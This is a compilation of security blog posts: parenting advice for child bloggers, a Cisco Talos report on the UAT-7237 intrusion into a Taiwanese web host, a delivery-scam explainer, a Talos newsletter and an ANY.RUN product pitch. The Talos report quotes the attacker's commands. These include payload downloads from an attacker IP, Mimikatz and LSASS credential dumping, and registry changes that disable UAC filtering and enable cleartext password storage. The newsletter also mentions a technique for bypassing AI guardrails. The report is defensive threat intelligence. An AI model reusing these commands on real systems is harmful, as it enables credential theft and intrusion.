    If your kid says they want to be a blogger, the safest first step you should take is not to ignore or criticize them, but to discuss this new venture together. Ask them why they want to be a blogger, and what kind of content they plan to create. This approach accomplishes two important things. One, it shows your child that you take their interests seriously — which helps build trust. And two, it gives you a natural opportunity to bring up the topic of online safety.

    To make these conversations easier and more engaging, start with age-appropriate resources. If your budding blogger is quite young, a great option is our Cybersecurity Alphabet — a free book that helps kids master the basics of digital hygiene in a simple, fun way.

    2. Set up accounts together

    Instead of just handing your child your phone and leaving them to figure things out themselves (come on Gen-X; it’s 2025:), take the time to set up their accounts with them — whether it’s for YouTube, TikTok, Instagram, or another platform. This is a great opportunity to help your child go through these key steps:

    This both reduces the risk of your kid’s account being hacked in the future, and teaches them good digital hygiene habits.

    3. What’s better left unposted

    If left to their own devices, child bloggers would probably post most anything online: where they are, what they’re up to, and who they’re spending time with. Enter the parent/guardian: teach your kid how to tell what’s safe to post and what’s potentially dangerous. Explain that they should never share their home address, school name, daily schedule, vacation plans, or places they visit regularly. These details can inadvertently make them easier to track especially when combined with photos, geotags, and metadata.

    4. Look up your kid’s usernames in search engines

    Once your child begins posting under a username, it’s important to monitor their visibility and searchability. A simple way to do this is to regularly search for their username on Google or other search engines. Just type their social media handle into the search bar and see what comes up. Are there any personal photos, geolocation tags, or comments that reveal too much? Has anyone cloned their content or tried to impersonate them? Be sure to check for any of these issues.

    5. Warn your child about shady online offers

    When young bloggers start catching some buzz, they might receive messages from brands or accounts offering free products, sponsorships, or other collaboration opportunities. For a child, this might feel like a dream come true, but in reality, these messages are often from scammers.

    Teach your child to treat every unexpected message with caution. Fake collaboration offers often arrive in email or direct messages, and may contain links to phishing sites designed to steal login credentials, personal information, or even payment-card details. Another common scam involves fraudsters promising to send a product after the blogger pays a “shipping fee” for a package that never arrives. We’ve covered these kinds of delivery scams in detail on our Kaspersky Daily blog.

    A great option for young bloggers is to have their own manager or agent. Sounds very business-y and fancy, but actually a parent/guardian is the best person for this role. This way, you can work together to negotiate with brands and respond to offers from strangers. Discuss which brands are worth collaborating with, and explain why some offers may not be as harmless as they seem.

    6. Talk to your kids about stalkers

    As your kid gains more followers, they may attract not only genuine admirers but also individuals with malicious intent who claim to be “fans”. Unfortunately, doxing and stalking are real threats, especially for young, open, and trusting bloggers who share every detail of their lives.

    Explain to your child that not everyone who seems nice is actually a good person. These “fans” often act like friends — praising content, offering help, or even pretending to share the same interests. Over time, however, they might start asking for personal details, more photos, or try to move the conversation to less secure platforms.

    Teach your child to recognize these red flags:

    • A stranger who messages them frequently, or who shows undue interest in them personally.
    • Someone who insists on secrecy and asks them not to tell their parents.
    • A person who tries to guilt-trip, threaten, or pressure them to share personal information.

    Most importantly, whether your child becomes a successful blogger or not, you need to ensure they trust you, their parents/guardians, more than any strangers they meet online.

    How to better understand your child blogger

    Wanting to be a blogger is a form of self-expression and creativity for both children and adults alike. Your role as a parent is simple but crucial: support their aspirations, talk to them, and teach them the basics of digital safety.

    • Find out what your child is into. A quick way to prepare for this conversation is to read our blog post, What kids are doing online, to get a basic idea of popular memes, games, and music.
    • Install [placeholder Safe Kids] on your devices. Our app helps parents stay involved in their kids’ digital lives without being intrusive.
    • Study our Cybersecurity Alphabet with your child. It explains complex concepts — like Keyloggers, NFTs, and oversharing — in simple terms.

    If you want to learn more about keeping your child safe online, check out our guide, Digital School Bag: A School Year Guide for Parents.

    How to make the online space even safer for your kid:

    Kaspersky official blog – ​Read More

    UAT-7237 targets Taiwanese web hosting infrastructure

    • Cisco Talos discovered UAT-7237, a Chinese-speaking advanced persistent threat (APT) group active since at least 2022, which has significant overlaps with UAT-5918.
    • UAT-7237 conducted a recent intrusion targeting web infrastructure entities within Taiwan and relies heavily on the use of open-sourced tooling, customized to a certain degree, likely to evade detection and conduct malicious activities within the compromised enterprise.
    • UAT-7237 aims to establish long-term persistence in high-value victim environments.
    • Talos also identified a customized Shellcode loader in UAT-7237’s arsenal that we track as “SoundBill.” SoundBill can be used to decode and load any shellcode, including Cobalt Strike.

    UAT-7237 targets Taiwanese web hosting infrastructure

    Talos assesses with high confidence that UAT-7237 is a Chinese-speaking APT group, focusing heavily on establishing long-term persistence in web infrastructure entities in Taiwan. Most of UAT-7237’s tooling consists of open-sourced tools, customized to a certain extent, including the use of a customized Shellcode loader we track as “SoundBill.”

    Talos further assesses that UAT-7237 is likely a subgroup of UAT-5918, operating under the same umbrella of threat actors. UAT-7237’s tooling, victimology and dates of activity overlap significantly with UAT-5918. Additionally, both threat groups develop, customize and operate tooling using the Chinese language as their preliminary language of choice.

    While Talos assesses that UAT-7237 is a subgroup of UAT-5918, there are some deviations in UAT-7237’s tactics, techniques and procedures (TTPs) that necessitate its designation as a distinct threat actor:

    • UAT-7237 primarily relies on the use of Cobalt Strike as its staple backdoor implant while UAT-5918 relies primarily on Meterpreter based reverse shells.
    • After a successful compromise, UAT-5918 typically deploys a flurry of web shells. However, UAT-7237’s deployment of web shells is highly selective and only on a chosen few compromised endpoints.
    • While UAT-5918 relies on web shells as their primary channel of backdoor access, UAT-7237 relies on a combination of direct remote desktop protocol (RDP) access and SoftEther VPN clients to achieve the same.

    In a recent intrusion, UAT-7237 compromised, infiltrated and established long term persistence in a Taiwanese web hosting provider. It is worth noting that the threat actor had a particular interest in gaining access to the victim organization’s VPN and cloud infrastructure. UAT-7237 used open-source and customized tooling to perform several malicious operations in the enterprise, including reconnaissance, credential extraction, deploying bespoke malware, setting up backdoored access via VPN clients, network scanning and proliferation.

    Initial access and reconnaissance

    UAT-7237 gains initial access by exploiting known vulnerabilities on unpatched servers exposed to the internet. Once the target has been successfully compromised, UAT-7237, like any other stealth-oriented APT, conducts rapid fingerprinting to evaluate if the target is worth conducting further malicious actions on.

    Reconnaissance consists of identifying remote hosts, both internal and on the internet:

    cmd /c nslookup <victim’s_domain>
    cmd /c systeminfo
    cmd /c curl
    cmd /c ping 8[.]8[.]8[.]8                            
    cmd /c ping 141[.]164[.]50[.]141          // Attacker controlled remote server.
    cmd /c ping <victim’s_domain>
    cmd /c ipconfig /all
    

    While UAT-5918 immediately begins deploying web shells to establish backdoored channels of access, UAT-7237 deviates significantly, using the SoftEther VPN client (similar to Flax Typhoon) to persist their access, and later access the systems via RDP:

    cmd /c c:tempWM7Litedownload[.]exe  hxxp[://]141[.]164[.]50[.]141/sdksdk608/win-x64[.]rar c:tempWM7Lite1[.]rar
    
    powershell (new-object System[.]Net[.]WebClient).DownloadFile('hxxp[://]141[.]164[.]50[.]141/sdksdk608/vpn[.]rar','C:WindowsTempvmware-SYSTEMvmtools[.]rar')
    

    Once UAT-7237 sets up initial access, reconnaissance and VPN-based access, they start preparing to pivot to additional systems in the enterprise to proliferate and conduct malicious activities:

    cmd[.]exe /c cd /d "<remote_smb_share>"&net use
    cmd[.]exe /c cd /d "<remote_smb_share>"&dir \<remote_smb_share>c$
    cmd[.]exe /c cd /d "C:"&net group "domain admins" /domain
    cmd[.]exe /c cd /d "C:"&net group "domain controllers" /domain
    

    In addition to relying on living-off-the-land binaries (LOLBins), UAT-7237 actively employed Windows Management Instrumentation (WMI) based tooling during reconnaissance and proliferation such as SharpWMI and WMICmd:

    cmd[.]exe /c cd /d "C:"&C:ProgramDatadynatracesharpwmi[.]exe <IP> <user> <pass> cmd whoami
    
    cmd.exe /c cd /d "C:DotNet"&WMIcmd.exe
    
    wmic /node:<IP> /user:Administrator /password:<pass> process call create cmd.exe /c whoami
      
    wmic /node:<IP> /user:Administrator /password:<pass> process call create cmd.exe /c netstat -ano >c:1.txt
    
    

     SharpWMI and WMICmd can both be used to execute WMI queries on remote hosts, and they allow for arbitrary command and code executions.

    UAT-7237 fingerprinted any systems subsequently accessed using rudimentary window commands such as:

    cmd.exe /c systeminfo
    cmd.exe /c tasklist
    cmd.exe /c net1 user /domain
    cmd.exe /c whoami /priv
    cmd.exe /c quser
    

    Post-compromise tooling and actions on objectives

    SoundBill

    After compromise, UAT-7237 deploys a variety of customized and open-source tooling to perform a variety of tasks on the infected endpoints. Talos tracks one of UAT-7237’s custom-built tools as “SoundBill.” SoundBill is built based on  “VTHello” and is a shellcode loader written in Chinese that will decode a file on disk named “ptiti.txt” and execute the resulting shellcode.

    It is also worth noting that SoundBill contains two embedded executables. Both originate from QQ, a Chinese instant messaging software, and are likely used as decoy files in attacks involving spear phishing.

    SoundBill’s payload (i.e., the shellcode) may be anything from, for example, a customized implementation of Mimikatz:

    VTSB.exe privilege::debug sekurlsa::logonpasswords exit
    

    Or it may be a mechanism to execute arbitrary commands on the infected system, such as:

    c:tempvtsb.exe -c whoami
    

    The shellcode may even be a position-independent Cobalt Strike payload that allows UAT-7237 to establish long term access for information stealing. So far, the Cobalt Strike beacons Talos have found to be compatible with SoundBill communicate over HTTPS with its command and control (C2): cvbbonwxtgvc3isfqfc52cwzja0kvuqd.lambda-url.ap-northeast-1[.]on[.]aws

    JuicyPotato

    UAT-7237 also uses JuicyPotato, a privilege escalation tool popular with Chinese-speaking threat actors, to execute multiple commands on endpoints such as:

    cmd.exe /c c:hotfixjuicy2.exe -t * -c {6d18ad12-bde3-4393-b311-099c346e6df9} -p whoami
    

    Configuration changes

    During intrusions on several occasions, UAT-7237 attempted to make configuration and setting changes to the Windows OS on the infected endpoints, such as disabling User Account Control (UAC) restriction via registry:

    reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciessystem /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
    

    They also attempted to enable storage of cleartext passwords:

    reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    

    UAT-7237 also accessed the Component Services management console, likely to adjust privileges for their malicious components:

    mmc comexp.msc
    

    UAT-7237’s pursuit of credentials

    UAT-7237 uses several mechanisms, predominantly Mimikatz, to extract credentials from the infected endpoints. However, the threat actor has evolved their use of Mimikatz over time, likely as a means of evading detection by using a Mimikatz instance built into SoundBill to extract credentials:

    Filename/command

    Tooling
    name

    abc.dll

    Comsvcs.dll
    for LSASS process dumping

    Fileless.exe

    Mimikatz

    VTSB.exe privilege::debug
    sekurlsa::logonpasswords exit

    SoundBill
    with the Mimikatz payload

    Furthermore, UAT-7237 also finds VNC credentials and configuration from infected endpoints by searching the registry and disk:

    reg query "HKCUSoftwareORLWinVNC3Password"
    dir c:*vnc.ini /s /b
    

    Another (likely open-source) tool is used to execute commands on the endpoint, specifically to invoke a BAT file and another executable — again for credential extraction:

    cmd.exe /c C:hotfixinvoketest.exe  -cmd "cmd /c  C:hotfix1.bat"
    cmd.exe /c C:hotfixinvoketest.exe  -cmd "cmd /c   C:hotfixProject1.exe  C:hotfixSSP.dll"
    

    “Project1[.]exe” above is the ssp_dump_lsass project on GitHub. It takes a DLL file as an argument, injects it into the Local Security Authority Service (LSASS)  process, which then dumps the LSASS process into a BIN file.

    Optionally, JuicyPotato may be used to run the same credential extraction process via the BAT file:

    cmd.exe /c c:hotfixjuicy2.exe -t * -c  {e60687f7-01a1-40aa-86ac-db1cbf673334} -p "c:windowssystem32cmd.exe"  -a "/c c:hotfix1.bat"
    

    The process dump obtained is then staged into an archive for exfiltration:

    cmd.exe /c "c:program files7-Zip7z.exe"  a  C:hotfix1.zip  C:hotfix1.bin
    

    Proliferating through the enterprise

    UAT-7237 uses the following network scanning tooling:

    FScan: A network scanner tool used to scan for open ports against IP subnets:

    fileless -h 10.30.111.1/24 -nopoc -t 20
    

    SMB scans: To identify SMB services information on specific endpoints:

    smb_version 10.30.111.11 445
    

    As soon as accessible systems are found, UAT-7237 will conduct additional recon to pivot to them using credentials they’ve extracted previously:

    cmd[.]exe /c netstat -ano |findstr 3389
    cmd[.]exe /c nslookup <victim’s_subdomains>
    cmd[.]exe /c net use  <IP>ipc$ <pass>  /user:<userid>
    cmd[.]exe /c dir   \<remote_system>c$
    cmd[.]exe /c net use  \<remote_system>ipc$ /del
    

    SoftEther VPN

    The remote server hosting the SoftEther VPN client consisted of two archives: one containing the Client executable and corresponding configuration, and another with the Executable and Linkable Format (ELF)-based server binary.

    Talos’ analysis of the SoftEther artifacts led to the following observations of UAT-7237’s TTPs:

    • The server was created in September 2022 and was last used in December 2024, indicating that UAT-7237 may have been using SoftEther over a two-year period.
    • UAT-7237 specified Simplified Chinese as the preferred display language in their VPN client’s language configuration file, indicating that the operators were proficient with the language.

    Coverage

    Ways our customers can detect and block this threat are listed below.

    UAT-7237 targets Taiwanese web hosting infrastructure

    Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

    Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

    Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

    Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device.

    Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

    Cisco Secure Access is a modern cloud-delivered Security Service Edge (SSE) built on Zero Trust principles.  Secure Access provides seamless transparent and secure access to the internet, cloud services or private application no matter where your users work.  Please contact your Cisco account representative or authorized partner if you are interested in a free trial of Cisco Secure Access.

    Umbrella, Cisco’s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network.

    Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

    Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

    Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

    Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

    The following Snort rules cover this threat:

    • Snort v2 : 64908 – 64916
    • Snort v3: 301209 – 301212

    IOCs

     IOCs for this research can also be found at our GitHub repository here

    450fa9029c59af9edf2126df1d6a657ee6eb024d0341b32e6f6bdb8dc04bae5a - C:tempwmiscan.exe
    6a72e4b92d6a459fc2c6054e9ddb9819d04ed362bd847333492410b6d7bae5aa - c:/hotfix/Project1.exe - ssp_dump_lsass tool
    E106716a660c751e37cfc4f4fbf2ea2f833e92c2a49a0b3f40fc36ad77e0a044 - C:/hotfixlog/Fileless.exe - FScan
    B52bf5a644ae96807e6d846b0ce203611d83cc8a782badc68ac46c9616649477 - C:/hotfixlog/smb_version.exe
    864e67f76ad0ce6d4cc83304af4347384c364ca6735df0797e4b1ff9519689c5 – fileless.exe - Mimikatz
     
    SoundBill
    Df8497b9c37b780d6b6904a24133131faed8ea4cf3d75830b53c25d41c5ea386
     
    Cobalt Strike
    0952e5409f39824b8a630881d585030a1d656db897adf228ce27dd9243db20b7
    7a5f05da3739ad3e11414672d01b8bcf23503a9a8f1dd3f10ba2ead7745cdb1f
     
    cvbbonwxtgvc3isfqfc52cwzja0kvuqd.lambda-url.ap-northeast-1[.]on[.]aws
    http[://]141[.]164[.]50[.]141/sdksdk608/win-x64[.]rar
    141[.]164[.]50[.]141
    

    Cisco Talos Blog – ​Read More

    I never ordered this: fraud with delivered packages and letters — brushing and quishing | Kaspersky official blog

    You get a delivery notification — or simply find a package sitting by your front door. But you didn’t order anything! Of course, everyone loves a free gift, but in this case you should be wary. There are several scams that start with the delivery of a package to your home.

    Of course, check with friends and family first — someone might have sent you something without mentioning it. But if nobody steps forward, there’s a good chance you’re facing one of the schemes described below.

    Spoiler alert: under no circumstances scan QR codes or call phone numbers printed on the packaging.

    Polishing orders

    The term brushing scam comes from Chinese e-commerce slang. 刷单 literally means “to polish orders” — effectively referring to a kind of sales-pumping scam. Originally, this “brushing” was relatively harmless: you received a product you didn’t order, and the seller posted a glowing review in your name to boost their sales ranking. To pull this off, unscrupulous sellers buy leaked databases of personal data, then register new marketplace accounts using victims’ names and mailing addresses — but their (the sellers’) own email address and payment method. As such, the victims don’t suffer direct financial loss.

    Lucky you; but first — your review

    Over time, such relatively gentle “brushing” has evolved into a much rougher sweep up. These days, scammers try to rip off package recipients by luring them to a malicious website. To do this, they include a card or sticker with a QR code with the delivery. The story accompanying the code varies, with common examples including the following:

    • “You’ve received a gift! Scan the code to find out who sent it”
    • “Leave a review of our product and get a $100 gift card!”
    • “Confirm receipt of your free delivered item!”

    If the victim scans the QR code to find out who the sender is or claim another gift, the rest follows the classic pattern of quishing (QR phishing): either coaxing the victim into entering their payment data (for example, to “activate” the gift card) or codes from banking/government apps, or urging them to install an app for “confirmation” or “activation” — which, of course, is malware.

    What if there’s no product at all?

    The above schemes only work when an online store can afford to “give away” products as a promotional tactic. But can scammers still get your data without sending any goods? They can — and do.

    Instead of a package, the victim finds a professionally printed postcard at their door: “Unfortunately, our courier service couldn’t deliver your parcel because you weren’t home. A gift valued at $200 can only be handed over in person — please contact us to arrange redelivery.” The postcard includes a QR code, a website address, and sometimes even a phone number to “reschedule” delivery.

    Example of a phishing postcard with a website address and QR code

    A phishing postcard supposedly from Royal Mail, complete with a website address and QR code, looks highly convincing — the scammers paid great attention to detail. Source

    If you call the number or visit the malicious site linked in the QR code, you’ll be tricked into giving payment details, passwords, or one-time codes through one of the common “delivery” scam scenarios:

    • “Choose a delivery time right away so the item won’t be returned to sender”
    • Pay a $2 fee for redelivery”. The goal here is to get your payment data and then charge much larger amounts.
    • “Pay the customs duty”. You’re told a valuable parcel has been sent to you, but you must pay the duty yourself. And these amounts can be quite significant (depending on the supposed item’s value). In some countries, a “courier” may even come in person to collect the fee in cash.

    All these schemes can lead to the loss of personal and financial information — but sometimes they escalate into phone fraud with much larger losses. For example, after you pay a fake delivery fee, scammers may call you and claim the parcel cannot be delivered because it contains drugs. This is followed by the psychological pressure of calls from a “police officer”, and attempts to extort a large sum of money to “protect” you from criminal charges.

    Cash on delivery

    Another popular scam involves products with payment upon delivery. Sometimes scammers advertise a product in advance and send it to the victim with their consent — but there’s also a version where a parcel arrives out of the blue. One day, a courier turns up at your door with a package in your name. Usually, an attractive product name is prominently displayed on the box — for example, a high-end smartphone. But… you have to pay for it. The price is 2–3 times lower than the market rate. The scammers count on greed and urgency (“the courier’s in a hurry, let’s get this done quickly!”) to make the victim pay without checking the item properly. The courier rushes off, and the victim opens the box to find either a cheap knockoff of the claimed product — or just plain garbage.

    If the target refuses to pay for the mystery item, the scammers may have a “Plan B” ready — tricking them into giving a one-time verification code for a marketplace or bank, under the pretext of “confirming the order cancellation”.

    Targeted attacks

    Sometimes, physical delivery scams target specific victims. For example, criminals have attempted to steal cryptocurrency by sending Ledger hardware wallet owners packages claiming to be a free warranty replacement for defective devices. Inside the package was a “new” crypto wallet — actually a USB stick loaded with malware designed to steal the wallet’s seed phrase. Mailing USB sticks has also been used by the FIN7 ransomware gang as part of targeted ransomware attacks on selected organizations.

    The hidden threat

    Brushing and quishing scams have an unpleasant root cause. If you’re receiving these packages, it means your address and other contact information have been leaked in databases and are circulating on underground forums. These data sets are sold repeatedly, so you may well be targeted by other types of scam too. Be prepared: enable two-factor authentication everywhere, expect scam calls, install to protect yourself from such spam calls, check your bank statements frequently, and be sure to install reliable protection on all your devices.

    What to do if you receive an unexpected package?

    • Carefully examine the packaging, labels, and any accompanying documents.
    • Take a photo of the package just in case, but never follow any links from QR codes or printed text. Keep the packaging in case there’s an investigation later.
    • Never call the phone numbers or, again, visit the links printed on the parcel.
    • Never pay any “delivery fees” or “customs duties”, and never provide your payment details.
    • Never connect unexpectedly received digital storage devices to your computer or smartphone.
    • If the package was delivered by a major, well-known courier service (Amazon, eBay, DHL Express, UPS, FedEx, AliExpress, national postal services, etc.), go to the company’s official website, find their contact numbers, online tracking service, or live chat, and check the shipment status and sender information. If the parcel has a tracking number, enter it manually — don’t scan any QR codes on the label.
    • Report the suspicious package to the courier service and the police — even if no money was stolen from you.

    Read more on scams involving QR codes, marketplaces, and delivery services:

    Kaspersky official blog – ​Read More

    What happened in Vegas (that you actually want to know about)

    What happened in Vegas (that you actually want to know about)

    Welcome to this week’s edition of the Threat Source newsletter. 

    Last week I flew 5,000 miles to Las Vegas for Black Hat USA. After navigating the casino carpet labyrinth and finding the only venue in Nevada that serves a proper English breakfast tea with milk (lifesaver), I’ve decided Black Hat feels exactly like trying to run in a dream — you’re always heading somewhere, never quickly, and the water costs $8.

    I don’t mean to complain (although, as a Brit, I’m practically obligated to file a formal grievance about the weather, tea or queue length). In truth, it was a brilliant week, and I got to watch my fellow Talosians deliver some outstanding presentations and research.

    Rather than recap everything we did (our YouTube channel will have plenty of research highlights soon), here are three standouts: 

    • Joe Marshall’s live incident-response exercise – Joe ran Backdoors & Breaches, an interactive card game originally developed with NetHope and NGO-ISAC for humanitarian non-governmental organizations. At Black Hat, he adapted it for a lunch-and-learn with over 60 participants, guiding them through a simulated cybersecurity crisis. If you’re curious, you can find the cards online here. With a websharing tool, you can stream it to any size audience and have people play along virtually. You can also read more about Joe’s experience developing the game, alongside a video walkthrough, in his new blog post.
    • Amy Chang’s AI guardrail bypass research – Amy’s booth talk revealed a novel way to break the guardrails of generative AI by tricking it into repeating human-written content verbatim, a technique called “decomposition.” Her work drew attention from media outlets including TechRepublic, SecurityWeek and WebProNews.
    • Philippe Laulheret’s ReVault presentation – Philippe, from our Vulnerability Research and Discovery team, revealed vulnerabilities in embedded security chips affecting millions of laptops, potentially allowing attackers to bypass Windows login or install persistent malware. A few days ago, he published a longer version of his investigation, so you can now read the full technical deep dive covering the research process and exploit breakdown.

    We’ll have more to share soon, including a behind-the-scenes tour of the Black Hat Network Operations Center (NOC).

    The one big thing 

    Cisco Talos has identified a widespread malvertising campaign distributing a multi-stage malware framework Talos calls “PS1Bot,” which uses PowerShell and C# modules to steal sensitive information, log keystrokes, capture screenshots, and maintain persistent access on infected systems. PS1Bot employs in-memory execution and modular updates, targeting browser credentials, cryptocurrency wallets, and more, while minimizing its footprint to evade detection. The campaign has been active and rapidly evolving throughout 2025. 

    Why do I care? 

    Casual browsing and downloading seemingly safe files can lead to infection, putting your personal data, passwords and financial info at risk — especially if you use cryptocurrency wallets or save passwords in browsers. 

    So now what? 

    Be extra cautious when downloading files from search results or ads, keep your security software updated, and use dedicated password managers and security tools instead of storing sensitive info in browsers. Stay informed about evolving threats like PS1Bot, as attackers are constantly updating their tactics. Talos’ blog also provides Snort SIDs and ClamAV detections. 

    Top security headlines of the week 

    Russian government hackers said to be behind US federal court filing system hack 
    The Russian government is allegedly behind the data breach affecting the U.S. court filing system known as PACER, according to The New York Times. (TechCrunch

    North Korean Kimsuky hackers exposed in alleged data breach 
    The North Korean state-sponsored hacking group known as Kimsuky has reportedly suffered a data breach after two hackers stole the group’s data and leaked it publicly online. (Bleeping Computer

    Exclusive: Brosix and Chatox promised to keep your chats secured. They didn’t. 
    A researcher contacted DataBreaches after finding an unsecured backup with 155.3 GB of unique compressed files. The researcher first logged the backup as exposed in late April. (DataBreaches

    Netherlands: Citrix Netscaler flaw CVE-2025-6543 exploited to breach orgs 
    The Netherlands’ National Cyber Security Centre (NCSC) is warning that a critical Citrix NetScaler vulnerability was exploited to breach “critical organizations” in the country. (Bleeping Computer

    Russian hackers exploited WinRAR zero-day in attacks on Europe, Canada 
    A Russian threat group has been observed exploiting a WinRAR zero-day vulnerability (now patched) as part of a cyberespionage campaign aimed at organizations in Europe and Canada. (SecurityWeek

    Can’t get enough Talos? 

    Upcoming events where you can find Talos 

    BlueTeamCon (Sept. 4 – 7) Chicago, IL 

    LABScon (Sept. 17 – 20) Scottsdale, AZ 

    VB2025 (Sept. 24 – 26) Berlin, Germany 

    Most prevalent malware files from Talos telemetry over the past week 

    SHA 256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 
    MD5: 2915b3f8b703eb744fc54c81f4a9c67f 
    VirusTotal: https://www.virustotal.com/gui/file/9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
    Typical Filename: VID001.exe 
    Claimed Product: N/A 
    Detection Name: Win.Worm.Coinminer::1201 

    SHA 256: c67b03c0a91eaefffd2f2c79b5c26a2648b8d3c19a22cadf35453455ff08ead0 
    MD5: 8c69830a50fb85d8a794fa46643493b2  
    VirusTotal: https://www.virustotal.com/gui/file/c67b03c0a91eaefffd2f2c79b5c26a2648b8d3c19a22cadf35453455ff08ead0 
    Typical Filename: AAct.exe  
    Claimed Product: N/A  
    Detection Name: PUA.Win.Dropper.Generic::1201 

    SHA 256: 83748e8d6f6765881f81c36efacad93c20f3296be3ff4a56f48c6aa2dcd3ac08 
    MD5: 906282640ae3088481d19561c55025e4 
    VirusTotal: https://www.virustotal.com/gui/file/83748e8d6f6765881f81c36efacad93c20f3296be3ff4a56f48c6aa2dcd3ac08  
    Typical Filename: AAct_x64.exe 
    Claimed Product: N/A 
    Detection Name: PUA.Win.Tool.Winactivator::1201

    Cisco Talos Blog – ​Read More

    ANY.RUN & OpenCTI: Transform SOC for Maximum Performance

    Editor’s note: The current article was originally published on March 11, 2024, and updated on August 14, 2025.

    Security Operations Centers (SOCs) face an overwhelming volume of threat alerts, making it difficult to separate real threats from false positives without heavy resource use. 

    For teams already working with, or planning to adopt Filigran’s OpenCTI, ANY.RUN now offers powerful interoperability that bring real-time malware analysis and fresh threat intelligence directly into your existing workflows. This helps SOCs boost efficiency, cut response times, and act with confidence, all without replacing current tools.

    Build Faster Response in OpenCTI with ANY.RUN 

    ANY.RUN connectors inside OpenCTI 

    ANY.RUN now offers dedicated OpenCTI connectors for its main products, allowing SOC teams to use them with their existing security stack seamlessly. This means there is no need to change existing processes and tools, making interoperability simple for those already using OpenCTI. 

    Available for ANY.RUN’s Enterprise plan users, it is designed to improve SOC metrics for incident detection and response, streamline routine tasks, reduce response times, and provide deep analytics. 

    • Threat Intelligence Feeds: Stay updated on the active threats with filtered, actionable network IOCs from the latest malware samples. 

    You can connect any combination of these connectors based on their specific needs and licenses. 

    View documentation on GitHub → 

    This connectors ensure that accurate threat info is accessible in just a few clicks, significantly boosting SOC effectiveness. 

    Detailed documentation on how to set up the OpenCTI connector 

    Automate Threat Analysis for Early Detection with Interactive Sandbox 

    ANY.RUN’s Interactive Sandbox is a cloud-based service that provides SOC teams with instant access to fully interactive Windows, Linux, and Android virtual machines for analyzing suspicious files and URLs.  

    Malicious URL with its related IOCs detected by ANY.RUN sandbox 

    With the OpenCTI connector, SOC teams can: 

    • Send files or URLs directly from OpenCTI for instant analysis in ANY.RUN’s Interactive Sandbox. 
    • Automate the execution of multi-stage attacks to reach the final stage of an attack. 
    • Enrich observables in OpenCTI with indicators obtained from the sandbox analysis. 

    Use documentation to set up the connector → 

    The connector leverages the Automated Interactivity feature. It allows for automated execution of user actions like archive extraction, CAPTCHA solution, and payload launching to trigger each stage of an attack and ensure complete detection of the most evasive threats.  

    Integrate ANY.RUN’s Interactive Sandbox in your SOC
    Automate threat analysis, cut MTTD, & boost detection rate  



    Contact us for a quote or trial


    The sandbox logs and marks malicious network traffic, processes, registry, and file modifications, providing immediate visibility into threat behavior. 

    Here’s a typical scenario of how you can use the connector in your SOC: 

    • Analysis: Analysts can send files or URLs for automated sandbox analysis directly from OpenCTI. 
    • Decision Making: Results from the sandbox analysis are used to assess threats and make informed decisions. 
    • Response and Escalation: Based on the results, analysts can isolate threats, block malicious activities, or escalate incidents as needed. 

    ☝ Benefits the Interactive Sandbox in OpenCTI
    • Reduced manual effort with analysis automation.
    • Higher detection rate with deep insights into threat behavior.
    • Shorter MTTR with fast identification of malware and detailed reports for informed mitigation.

    Enrich Incidents with Live Attack Data from 15K Organizations via Threat Intelligence Lookup 

    Malicious URL with its related relationships detected by ANY.RUN TI Lookup inside OpenCTI 

    ANY.RUN’s Threat Intelligence Lookup provides a searchable database of fresh Indicators of Compromise (IOCs), Behavior (IOBs), and Action (IOAs). This data is extracted from live sandbox analyses of active malware and phishing attacks across 15,000 organizations, ensuring the indicators are fresh and available quickly after an attack. 

    Enrich IOCs with threat context in TI Lookup
    Act faster. Slash MTTR. Stop breaches early 



    Contact us for a quote or trial


    With the OpenCTI connector, SOC teams can: 

    • Browse indicators in TI Lookup without leaving OpenCTI  
    • Receive data related to URL, IP, domain, and hash observables to gain actionable insights  
    • Use collected intel for incident response, to create new rules, train models, update playbooks, etc. 

    Use documentation to set up the connector → 

    Here’s a typical scenario of how you can use the connector in your SOC: 

    • Incident Enrichment: Analysts use TI Lookup to enrich incidents with detailed threat intelligence directly from OpenCTI. 
    • Threat Assessment: Analysts rapidly assess threats using up-to-date data and behavioral context. 
    • Response and Process Improvement: Enriched data aids in creating effective rules, updating playbooks, and improving detection models. 

    ☝ benefits of TI Lookup in OpenCTI
    • Automatic incident enrichment by pulling detailed threat intelligence for various indicator types.
    • Adding behavioral threat context to indicators, providing a deeper understanding.
    • Speeding up threat assessment using high-quality, up-to-date data.

    Expand Threat Coverage and Proactive Defense with Threat Intelligence Feeds 

    Indicators gathered by ANY.RUN’s TI Feeds inside OpenCTI 

    Threat Intelligence Feeds help MSSPs and SOCs fortify their security with filtered, high-fidelity indicators of compromise (IPs, domains, URLs) enriched with context from ANY.RUN’s Interactive Sandbox. Sourced from real-time sandbox investigations of active attacks across 15,000 organizations, ANY.RUN’s feeds are updated every two hours, allowing you to track threats as they emerge, develop, and spread to take critical security actions early. 

    Boost detection and expand threat coverage
    in your SOC with TI Feeds from ANY.RUN in TI Lookup 



    Request 14-day trial


    With the OpenCTI connector, SOC teams can: 

    • Retrieve real-time, up-to-date indicators and insights derived from attack investigations. 
    • Use ANY.RUN’s data in real-time or on a schedule as a source of malicious indicators for analyzing or investigating alerts and incidents. 
    • Send data to other security systems like SIEM or EDR, further improving detection quality. 

    Use documentation to set up the connector → 

